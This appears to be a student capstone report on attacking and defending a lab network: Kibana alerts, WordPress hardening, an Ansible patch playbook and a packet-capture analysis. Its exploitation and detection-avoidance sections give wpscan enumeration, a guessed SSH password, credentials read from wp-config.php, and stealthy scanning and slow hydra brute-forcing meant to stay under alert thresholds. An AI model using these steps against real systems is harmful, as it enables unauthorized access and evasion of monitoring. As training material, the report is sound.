

Final Engagement

Attack, Defense & Analysis of a Vulnerable Network

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Network Topology & Critical Vulnerabilities



Alerts Implemented




Hardening



Implementing Patches

Network Topology & Critical Vulnerabilities

Network Topology



Network

Address

Range: 192.168.0.0-192.168.255.255

Netmask: 255.255.255.0

Gateway: 192.168.1.1

Machines

IPv4: 192.168.1.90

OS: Kali GNU

Hostname: Kali Linux

IPv4: 192.168.1.100

OS: Linux

Hostname: ELK

IPv4: 192.168.1.105

OS: Linux

Hostname: Capstone

IPv4: 192.168.1.110

OS: Linux


Hostname: Target 1



Alerts Implemented

[Excessive HTTP Errors]

- **Metric:** WHEN count() GROUPED OVER top 5 'http.response.status_code' IS ABOVE 400 FOR THE LAST 5 minutes
- **Threshold:** ABOVE 400 FOR THE LAST 5 minutes




The screenshot shows the Kibana Management console interface. The left sidebar contains navigation links for Elasticsearch (Index Management, Index Lifecycle Policies, Rollup Jobs, Transforms, Cross-Cluster Replication, Remote Clusters, Watcher, Snapshot and Restore, License Management, 8.0 Upgrade Assistant) and Kibana (Index Patterns, Saved Objects, Spaces, Reporting, Advanced Settings). The main content area displays the 'Current status for 'Excessive HTTP Errors'' watch. It includes 'Deactivate' and 'Delete' buttons. Below this, there are tabs for 'Execution history' (selected) and 'Action statuses'. A dropdown menu shows 'Last one hour'. A table lists the execution history with columns for 'Trigger time', 'State', and 'Comment'.

Trigger time	State	Comment
2022-07-17T03:51:17+00:00	✓ OK	
2022-07-17T03:50:17+00:00	✓ OK	
2022-07-17T03:49:17+00:00	✓ OK	
2022-07-17T03:48:17+00:00	✓ OK	
2022-07-17T03:47:17+00:00	✓ OK	
2022-07-16T23:48:45+00:00	✓ OK	

[HTTP Request Size Monitor]

- **Metric:** WHEN sum() of http.request.bytes OVER all documents IS ABOVE 3500 FOR THE LAST 1 minute
- **Threshold:** ABOVE 3500 FOR THE LAST 1 minute




The screenshot shows the Kibana Management console interface. The left sidebar contains navigation links for Elasticsearch and Kibana. The main content area displays the 'Current status for 'HTTP request size monitor'' with 'Deactivate' and 'Delete' buttons. Below this, the 'Execution history' tab is active, showing a table of trigger events over the last one hour.

Trigger time	State	Comment
2022-07-17T03:50:17+00:00	✓ OK	
2022-07-17T03:49:17+00:00	✓ OK	
2022-07-17T03:48:17+00:00	✓ OK	
2022-07-17T03:47:17+00:00	✓ OK	
2022-07-16T23:48:45+00:00	✓ OK	
2022-07-16T23:47:46+00:00	✓ OK	

[CPU Usage Monitor]

- **Metric:** WHEN max() OF system.process.cpu.total.pct OVER all documents IS ABOVE 0.5 FOR THE LAST 5 minutes
- **Threshold:** ABOVE 0.5 FOR THE LAST 5 minutes
-



The screenshot shows the Kibana Management console interface. The left sidebar contains navigation links for Elasticsearch and Kibana. The main content area displays the 'Current status for 'CPU Usage Monitor'' with options to 'Deactivate' or 'Delete'. Below this, the 'Execution history' tab is active, showing a table of recent executions. A dropdown menu indicates the data is for the 'Last one hour'.

Trigger time	State	Comment
2022-07-17T03:50:17+00:00	✓ OK	
2022-07-17T03:49:17+00:00	✓ OK	
2022-07-17T03:48:17+00:00	✓ OK	
2022-07-17T03:47:17+00:00	✓ OK	
2022-07-16T23:48:45+00:00	✓ OK	
2022-07-16T23:47:46+00:00	✓ OK	
2022-07-16T23:46:46+00:00	✓ OK	

Hardening

Hardening Against [WordPress User Enumeration] on Target 1

Explain how to patch Target 1 against Vulnerability 1. Include:

- Avoid using the username as nickname and display name which is shown publicly in WordPress.
- The best option is to choose an administrator username which consists of random characters and use a different nickname.
- WPScan scans for usernames in the URL's so if you won't use the username it cannot be scanned by WPScan
 - ***wp user update mary@example.tld --user_login=mary_new***

Hardening Against [CWE-521 (weak password)] on Target 1

- Using hydra, wordpress or simply guessing I could gain access to michael's account
- Limiting login attempts and requiring more complex passwords would stop many brute force attacks
- Update to a newer version of wordpress or using plugins like Password Protected
 - *wp core update*

Hardening Against [CWE-359: Exposure of Private Personal Information to an Unauthorized Actor] on Target 1

- Hide private information with the use of salted hashes. There are generators online that can help accomplish this
- Whitelisting Michaels IP so an alert is triggered when unauthorized users attempt access.
 - `firewall-cmd --permanent --add-rich-rule="rule family='ipv4' source address='192.168.1.90' reject"`
 - `firewall-cmd --permanent --add-source= (michael IP)`
- using two factor authentication on logins could have prevented the server from being accessed in the first place.

Implementing Patches

Implementing Patches with Ansible

Playbook Overview

```
---
- name: Update WordPress Core (Major version)
  command: "{{ wpclipath }} core update"
  when: major is defined
  args:
    chdir: '{{ projects[inventory_hostname].blog_folder }}'

- name: Update WordPress Plugins (Major version)
  command: "{{ wpclipath }} plugin update --all"
  when: major is defined
  args:
    chdir: '{{ projects[inventory_hostname].blog_folder }}'

- name: Update WordPress Plugins (Minior version)
  command: "{{ wpclipath }} plugin update --all --minor"
  when: major is not defined
  args:
    chdir: '{{ projects[inventory_hostname].blog_folder }}'
```

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Methods Used to Avoiding Detect

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Exploits Used

Network Topology & Critical Vulnerabilities

Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities in **Target 1**.

Vulnerability	Description	Impact
WPscan	Allows me to see the wordpress users	Gave targets for eventual brute forcing
CVE-521 (weak password requirement)]	Allows me to crack michael's password	Granted access to the vulnerable system
CWE-359: Exposure of Private Personal Information to an Unauthorized Actor	Allows access to the MYSQL database	Gave information for all the wordpress databases

Exploits Used

Exploitation: [WPscan]

- Running a wpscan (wpscan --url 192.168.1.110 --enumerate -Users) I found users micheal and stephen).

```
Shell No.1
File Actions Edit View Help

Scan Aborted: missing argument: -U
root@Kali:/# wpscan --url http://192.168.1.110/wordpress --enumerate -user

Scan Aborted: invalid option: -user
root@Kali:/# wpscan --url http://192.168.1.110/wordpress --enumerate -User

-----
  WPSecan
WordPress Security Scanner by the WPSecan Team
Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@_WPSecan_, @ethicalhack3r, @erwan_lr, @firefart

-----

[+] URL: http://192.168.1.110/wordpress/
[+] Started: Sat Jul 9 10:20:43 2022

Interesting Finding(s):

[+] http://192.168.1.110/wordpress/
| Interesting Entry: Server: Apache/2.4.10 (Debian)
```

```
Shell No.1
File Actions Edit View Help

:01

[i] User(s) Identified:

[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)


[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvuln.db.com/users/sign_up

[+] Finished: Sat Jul 9 10:21:14 2022
[+] Requests Done: 3375
[+] Cached Requests: 28
[+] Data Sent: 906.524 KB
[+] Data Received: 690.83 KB
[+] Memory used: 288.277 MB
[+] Elapsed time: 00:00:31
root@Kali:/#
```


Exploitation: [CVE-521 (weak password requirement)]

- After finding the Users I guessed michael's password to ssh into his account (ssh michael@192.168.1.110, password: michael).
- His password also could have been brute forced using hydra or wordpress



```
michael@target1: ~  
File Actions Edit View Help  
Shell No. 1 michael@target1: ~  
ed.  
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T630xqkEIR39pi835oSDo8  
.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.1.110' (ECDSA) to the list of known hosts.  
michael@192.168.1.110's password:  
Permission denied, please try again.  
michael@192.168.1.110's password:  
Permission denied, please try again.  
michael@192.168.1.110's password:  
michael@192.168.1.110: Permission denied (publickey,password).  
root@Kali:~# ssh michael@192.168.1.110  
michael@192.168.1.110's password:  
Permission denied, please try again.  
michael@192.168.1.110's password:  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
You have new mail.  
michael@target1:~$
```


Exploitation: [CWE-359: Exposure of Private Personal Information to an Unauthorized Actor]

- From inside var/www/html I ran the command `grep -ir wp-config.php` letting me know it was in the wordpress directory
- After finding the file i found the mysql username:root and password: R@v3nSecurity

```
michael@target1:/var/www/html$ less contact.php
michael@target1:/var/www/html$ cd wordpress
michael@target1:/var/www/html/wordpress$ ls
index.php      wp-blog-header.php  wp-cron.php      wp-mail.php
license.txt    wp-comments-post.php wp-includes       wp-settings.php
readme.html    wp-config.php        wp-links-opml.php wp-signup.php
wp-activate.php wp-config-sample.php wp-load.php       wp-trackback.php
wp-admin       wp-content           wp-login.php      xmlrpc.php
```

```
michael@target1:/var/www/html/wordpress
File Actions Edit View Help
Shell No. 1  michael@target1:/var/www/html/wordpress

*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 */
```


Avoiding Detection

Stealth Exploitation of [WPscan]

Monitoring Overview

- **Excessive HTTP Errors**
- **Metric:** WHEN count() GROUPED OVER top 5 'http.response.status_code' IS ABOVE 400 FOR THE LAST 5 minutes
- **Threshold:** ABOVE 400 FOR THE LAST 5 minutes

Mitigating Detection

- Make the scan harder to detect by changing the variables
- `wpscan --url 192.168.1.110 --enumerate -Users --random-user-agent --detection-mode passive --plugins-version-detection passive (--stealthy)`

Stealth Exploitation of [CWE-521 (weak password)]

Monitoring Overview

- **Excessive HTTP Errors**
- **Metric:** WHEN count() GROUPED OVER top 5 'http.response.status_code' IS ABOVE 400 FOR THE LAST 5 minutes
- **Threshold:** ABOVE 400 FOR THE LAST 5 minutes

Mitigating Detection

- Running a slower brute force can keep you under the number of requests needed to trigger an alert
- Using hydra: `hydra -l michael -P /usr/opt/wordlists.txt -s 80 -w 32`

Stealth Exploitation of [CWE-359: Exposure of Private Personal Information to an Unauthorized Actor]

Monitoring Overview

- No current configured alerts would have been triggered by someone already in the system, but the alert would cover an alert being sent when an IP from an unauthorized region tries to access the server.

Mitigating Detection

- This can be overcome by spoofing one's IP to an authorized region
- If possible it can also be avoided by gaining physical access to an authorized IP (e.x- a laptop)

Table of Contents

This document contains the following resources:

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Traffic Profile

Traffic Profile

Our analysis identified the following characteristics of the traffic on the network:

Feature	Value	Description
Top Talkers (IP Addresses)	172.16.4.20 & 185.243.115.84	Machines that sent the most traffic.
Most Common Protocols	UDP, TCP, HTTP	Three most common protocols on the network.
# of Unique IP Addresses	881	Count of observed IP addresses.
Subnets	10.6.12.0/24 & 172.16.4.0/24.	Observed subnet ranges.
# of Malware Species	1	Number of malware binaries identified in traffic.

Behavioral Analysis

Purpose of Traffic on the Network

Users were observed engaging in the following kinds of activity.

“Normal” Activity

- Searching blogs
- opening pictures
- general personal queries

Suspicious Activity


- Trying to access suspicious files on the network
- Higher than usual amounts of packet traffic



Normal Activity

[Reading blogs]


- When I export HTTP traffic I can see the URL and what was accessed
- Normal behavior looks like someone accessing a website for tips on blogging and self care
- ***mysocalledchaos.com*** seems like it would be something looked up for personal gratification.



[General Queries]

Summarize the following:


- Normal users were also found looking at normal websites that would help them with day to day tasks/issues
- **cdn.iphonehacks.com** is a place where one can learn tips for improving Iphone usage and understanding



Malicious Activity

[Higher than usual packets]



- *172.16.4.205 and 185.243.115.84 have an abnormal amount of packets and bytes compared to the rest of the IPs. With that high amount of TCP traffic*



Wireshark · Conversations · eth0											
Ethernet · 88		IPv4 · 903	IPv6 · 9	TCP · 1062	UDP · 1846						
Address A	Address B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	Bits/s
172.16.4.205	185.243.115.84	18,324	16 M	9,753	7,983 k	8,571	8,543 k	339.548659	265.0412	240 k	
10.0.0.201	64.187.66.143	9,117	6,794 k	4,180	270 k	4,937	6,523 k	63.345931	911.2377	2,377	
166.62.111.64	172.16.4.205	7,864	8,082 k	5,677	7,921 k	2,187	160 k	194.555608	149.9677	422 k	
192.168.1.90	192.168.1.100	7,651	28 M	4,793	27 M	2,858	770 k	1.286167	5274.2973	41 k	
5.101.51.151	10.6.12.203	4,326	4,246 k	3,262	4,177 k	1,064	68 k	813.285078	67.9985	491 k	
10.0.0.201	23.43.62.169	4,007	4,080 k	1,310	71 k	2,697	4,008 k	124.985589	66.9059	8,605	
10.11.11.200	151.101.50.208	3,270	2,220 k	1,613	112 k	1,657	2,108 k	715.311858	66.7937	13 k	
10.0.0.2	10.0.0.201	2,160	531 k	1,037	266 k	1,123	265 k	35.205044	939.3806	2,269	
10.6.12.12	10.6.12.203	1,388	350 k	620	161 k	768	188 k	787.738339	99.1499	13 k	
10.6.12.12	10.6.12.157	1,316	330 k	608	156 k	708	174 k	784.451714	102.3674	12 k	
10.0.0.201	172.217.9.2	1,132	565 k	542	63 k	590	502 k	44.605688	901.0099	560	
10.11.11.11	10.11.11.200	1,100	219 k	493	98 k	607	120 k	607.472983	176.9288	4,459	
10.11.11.200	104.18.74.113	1,079	697 k	511	34 k	568	662 k	759.624632	22.4915	12 k	
10.0.0.201	96.7.89.194	974	332 k	400	66 k	574	266 k	38.031121	856.1576	616	
172.16.4.4	172.16.4.205	947	227 k	457	96 k	490	131 k	193.171139	414.0451	1,862	
10.0.0.201	168.215.194.14	878	552 k	374	35 k	504	516 k	44.009697	901.6107	313	
10.11.11.11	10.11.11.203	843	189 k	351	83 k	492	106 k	611.724867	172.6836	3,858	
10.0.0.201	216.58.218.161	732	424 k	330	27 k	402	396 k	48.891050	896.7107	248	
10.11.11.179	13.33.255.25	728	520 k	339	34 k	389	485 k	618.814185	94.0159	2,950	

[June11.dll]

- Within users frank and teds IP address is malware called /files/june11.dll
- HTTP protocol request protocol
- When uploaded virustotal.com designates it as malicious software





The End